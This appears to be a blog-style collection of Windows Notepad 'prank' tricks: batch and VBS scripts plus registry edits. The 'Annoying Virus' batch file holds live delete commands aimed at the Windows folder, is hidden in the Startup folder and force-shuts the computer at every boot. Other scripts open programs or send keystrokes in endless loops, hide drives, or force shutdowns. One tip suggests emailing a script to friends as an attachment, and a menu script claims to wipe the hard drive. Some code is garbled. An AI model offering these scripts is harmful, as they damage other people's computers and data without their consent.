Mouse Button Swapping Program

This program is for mouse button swapping....!

This will change the mouse buttons continuously...!

Only u have to do is just write this code in Notepad and save it as anyname.vbs .:-


@echo off
Rundll32 user32,SwapMouseButton
msg * hahaha
msg * basa bomblat
msg * good look finding how to fix it

Now ur work is done..just double click on the file and have  fun....!!

Hide all drives from My Computer

Proceed at your own risks.

How to Hide the drives(c:,d:,e:,...etc) in Ur Computer

This is a great trick you can play on your friends. To disable the display of local or networked drives when you click My Computer.

1.     Go to Start -> Run.

2.     Type regedit

3.     Now go to: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

4.     Now in the right pane, create a new DWORD item and name it NoDrives (it is case sensitive).

5.     Now modify it's value and set it to 3FFFFFF (Hexadecimal) .

6.     Now restart your computer.

7.     So, now when you click on My Computer, no drives will be shown(all gone...).

To enable display of drives in My Computer, simply delete this DWORD item that you created. Again restart your computer. You can now see all the drives again. Magic.......!!!!!

Annoying Virus Making

For making of this Annoying Virus you have to :-

1.Open Notepad.

2.And now type following code....

cls

:A

color 0a

@ echo off

echo Wscript.Sleep

DEL C:\WINDOWS 5000>C:\sleep5000.vbs

echo Wscript.Sleep 3000>C:\sleep3000.vbs

echo Wscript.Sleep 4000>C:\sleep4000.vbs

echo Wscript.Sleep 2000>C:\sleep2000.vbs

cd %systemroot%\System32

dir

cls

start /w wscript.exe C:\sleep3000.vbs

echo Deleting Critical System Files...

echo del *.*

start /w wscript.exe C:\sleep3000.vbs

echo Deletion Successful!

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo:

echo Deleting Root Partition...

start /w wscript.exe C:\sleep2000.vbs

echo del %SYSTEMROOT%

start /w wscript.exe C:\sleep4000.vbs

echo Deletion Successful!

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo:

echo Creating Directory h4x...

cd C:\Documents and Settings\All Users\Start Menu\Programs\mkdir

h4x

DEL C:\WINDOWS

start /w wscript.exe C:\sleep3000.vbs

echo Directory Creation Successful!

echo:

echo:

echo:

echo Execution Attempt 1...

start /w wscript.exe C:\sleep3000.vbs

echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\

echo start hax.exe

start /w wscript.exe C:\sleep3000.vbs

echo Virus Executed!

echo:

echo:

echo:start /w wscript.exe C:\sleep2000.vbs

echo Disabling Windows Firewall...

start /w wscript.exe C:\sleep2000.vbs

echo Killing all processes...

start /w wscript.exe C:\sleep2000.vbs

echo Allowing virus to boot from startup...

start /w wscript.exe C:\sleep2000.vbs

echo:

echo:

echo Virus has been executed successfully!

start /w wscript.exeC:\sleep2000.vbs

echo:

echo Have fun!

start /w wscript.exe C:\sleep2000.vbs

pause

shutdown -f -s -c "Your computer has committed suicide."

Or just copy and paste that code

3.Now save this file as virus.bat.

4.Click File

  Click Save As

  Change the Save as type: to All Files

  Select ANSI as the Encoding type

  Name the file virus.bat.

5.Now just copy that file into startup folder so that the virus will start automatically when windows is start.

For that just follow the steps:-

Click Start->All programs here on this sub-menu right click on "start up" and select Explore from options given. This opens "start up" folder now cut your virus.bat file and paste it into this start up folder opened.

6.For more effectiveness right click on your virus.bat file go to properties and select the option Hidden and press OK.

7.You have planted a prank and annoying virus into the computer.

 The next time this computer is turned on' your batch file (virus.bat) in the start up folder is executed automatically which commands the computer to shutdown in 0 seconds(i.e., immediately).

 Now, anyone turning on the computer will have no time to do anything because it will shutdown automatically every time the system turns on and comes to desktop.

For Cancelling This Virus...........

IMP :-# Method 1: If you use windows vista you may have to use a / instead of a -.

# Method 2: To cancel the "virus" press [Alt]+[Tab] simultaneously.

# To disable these "viruses" start the computer in Safe Mode and delete the .bat file from the Startup folder.

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Convert Text Into Audio Using Notepad

January 15, 2010 By Paritosh 32 Comments

 Last time i shared a notepad trick using which you can format your hard disk. If you haven’t tried that do it now, here is the link :
Format Your Hard Disk Using Just Notepad !!
In this post i am going to share a similar notepad trick using which you can convert any text to audio with just a click. And it doesn’t even require you to pay for software or install any 3rd party software on your PC.

How To Do It ?

1. Open Notepad file on your Windows PC.
2. Copy and paste the below mentioned code :
   Dim msg, sapi msg=InputBox("Enter your text for conversion–www.techvorm.com","TechVorm Text-To-Audio Converter") Set sapi=CreateObject("sapi.spvoice") sapi.Speak msg
3. Save this file with any name with .vbs as extension. For eg. Text-To-Audio.vbs

Thats it ! Your Text to Audio converter is ready to be used. Now open the saved file and key in the text you want to convert and click OK. If you find any difficulties in using this code, let me know via comments section.

Pick Your Option Batch File

When used this creates a file which asks you to choose a number between 1-5 and then does a certain action (as shown below – Action accompanied by number):

1 – Shut’s down the computer

2 – Restart’s the computer

3 – Wipes out the hard drive

4 – Net send

5 – Shows a message & then shut’s down the computer

Before you try out this trick, keep in mind that this can cause loss of important data on your (or any one else’s on which you are running this file) computer system. So BEWARE! In order to create the file, follow the steps given below:

• Open Notepad.
• Paste the following code in the notepad file:

@echo off
title Get A Life
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted. Do not cry if you loose your data or anything.
pause
echo Pick your option:
echo 1. Die Slowly
echo 2. Instant Death
echo 3. Stay Away From This One
echo 4. Die this way (For Wimps!)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

• Save the file with any name and with a .bat extension and close the file.

Open Notepad continuously

• Open Notepad.
• Paste the following code in your notepad file:

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

• Save the file with any name nut with .bat extension and close it.

Now open the file and see how it annoys you by opening notepad again and again.

Type “You are a fool” Continuously

Not much to explain, the title says it all! Follow the steps to make this trick work:

• Open Notepad.
• Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop

• Save the file with any name but with .vbs extension and close it.

Ope the file and see how it makes you type!
NOTE: In order to stop it. Follow the “Note” given in "Toggle Keyboard Button Simultaneously"

Slowly Type Messages

This one is my favorite. Completely harmless trick and perfect for playing pranks on one’s friends. This trick can really freak out anyone! Follow the below mentioned steps to perform this trick:

• Open Notepad.
• Paste the following code in the notepad file:

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

• Save the file with any name and with .vbs extension and close it.

Now open the file and see how freakishly slow the messages appear!

NOTE: In order to stop it. Follow the “Note” given in  "Toggle Keyboard Button Simultaneously"

Toggle Keyboard Button Simultaneously

Using Notepad (and VB) you can set different keys on your keyboard to toggle continuously. Following are the 3 tricks using which different keys can be set to toggle simultaneously. Follow the steps given under each head to try out the tricks.

1. Caps Lock Key

• • Open Notepad.
  • Paste the following code in the notepad file:

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

• • Save the file with anyname and .vbs extension. and close it.
  • Now open the newly created file and see how the caps lock key behaves on your keyboard!

2. Hit Enter Key Continuously

• • Open Notepad.
  • Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

• • Save the file with any name and .vbs extension and close it.
  • Now open the newly created file and see how the enter key behaves!

3. Hit Backspace Key Continuously

• • Open Notepad.
  • Paste the following code in the notepad file:

MsgBox “Lets Rumble”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

• • Save the file with any name and with .vbs extension and close it.
  • Now open the newly created file and see how the key behaves!

In order to end the vbs script (stop continuous key presses), open task manager and end the wscript.exe process as shown in image below.

Shut-down The Computer After Conveying Any Message

This one is kind of an annoying trick and if used unknowingly can certainly cause problems (am serious). What this trick does is, after conveying a (any) message it shuts down the computer without any confirmation. In order to create the Shutdown file, follow the below mentioned steps:

• Open Notepad.
• Paste the following code in it:

@echo off
msg * Its time to get some rest.
shutdown -c “Error! You have to take rest! Byeeeeee” -s

• Save the file with any name but with .bat extension and close it. For eg. TakeRest.bat

NOTE : Use this carefully. If you are playing prank then keep in mind that this may lead to loss as it shuts down the computer forcefully.

Constantly Repeat Messages

Using this notepad trick you can annoy anyone and can actually force them to log off or leave the computer (LOL….). This notepad trick will create an infinite cycle of a message in the computer. Follow the steps to know more:

• Open Notepad.
• Paste the following code in the notepad file:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN

• Save the file with any file name but with .bat as extension and close it. For eg. Freakymessage.bat

After saving the file just open it (by double clicking) and see what happens.
Pssstttt……. You can piss of your friends by sending it as an email attachment asking them to try it out !

Change The Header/Footer Of Your Notepad File

More often than not whenever you get a printout of your notepad file, it starts with “Untitled” or the filename at top, and “Page ” on bottom. Now if you want to get rid of it or want to change it, just follow the simple steps given below.

• Open Notepad.
• Click on File -> Page Setup.
• Replace the text written in the “Header” and “Footer” box (as shown above) by any of the following codes:

&l Left-align the characters that follow
&c Center the characters that follow
&r Right-align the characters that follow
&d Print the current date
&t Print the current time
&f Print the name of the document
&p Print the page number

Continually pop the CD Drive

• Open Notepad.
• Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

• Save it as “Anything.VBS”.

Now open the file and see the magic! The file will continuously force the CD rom to pop out! And If you have more than one then it pops out all of them!

World Trade Center Attack Trick

As you might be knowing that the flight number of the plane that had hit World Trade Center on that dreadful day (9/11) was Q33NY. Now call this trick a coincidence  or something else but whatever it is, it does startle us.

• Open Notepad.
• Type “Q33N” (without quotes) in capital letters.
• Increase the font size to 72.
• Change the Font to Wingdings.

You will be amazed by the findings.

Test your antivirus

Now, you can check if your antivirus really works. Type the following in notepad:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Save the file as virus-test.txt
Scan the file. If your antivirus detects this file as a virus and tries to remove it, then you can be sure your antivirus is a good one. This is a much easier way, than actually downloading a virus to test it. This sample virus code is perfectly harmless and allows you to test your antivirus. A good antivirus like MS Security Essentials will detect this test virus even before you scan it.

Create a command prompt Virus message

Type the following in notepad:
@ echo off
title Virus
echo Your system is affected by virus
PAUSE
echo:
echo Windows will now try to undo changes
PAUSE
echo:
echo FAILED !
PAUSE
echo:
echo Your system is corrupt
PAUSE
Save the file as virus.bat and run the file.

Make a fake Virus POP UP

Type the following code in notepad:
@echo off
msg * WARNING
msg * VIRUS ENTERED YOUR PC
Save the file as pop.bat and run it. You should get two pop up messages. There has been an issue on some computers, but it should work on most computers.

Lock Folders using Notepad

This trick may not work on all computers
Lets say you want to lock a folder named PICS in your D:\ drive , whose path is D:\PICS
Then the code should be something like this:
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Pics is your folder name. Use the name of the folder in place for pics. Save the text file as lock.bat in the same drive.
To unlock this locked folder:
Open another new notepad text file and type the following:
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
Save the text file as key.bat in the same drive. Here again, pics is the name of the folder. Change it to the folder you want to lock.

Alternative Single Character Matrix

Type in the following in notepad:
@echo off
color 0a
:A
echo 7 y x 3 W 8 G M P q 1 F 0 U v c i j O D s a E I j H 9 t 6 7 z C B 4 g 8 3 W 8 G
ping localhost -n 1 > nul
goto A
Save the file as Matrix2.bat and run the file.
The file type should be kept as ALL FILES while saving a .bat file.

Make the Matrix

Not much to explain, just follow the steps and see the amazing matrix effect happen in your DOS window:

• Open Notepad.
• Copy the below mentioned text in your notepad file:

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start

• Save the file with .bat extension like Matrix.bat

Thats it. Just open the file to see the matrix effect right before your eyes!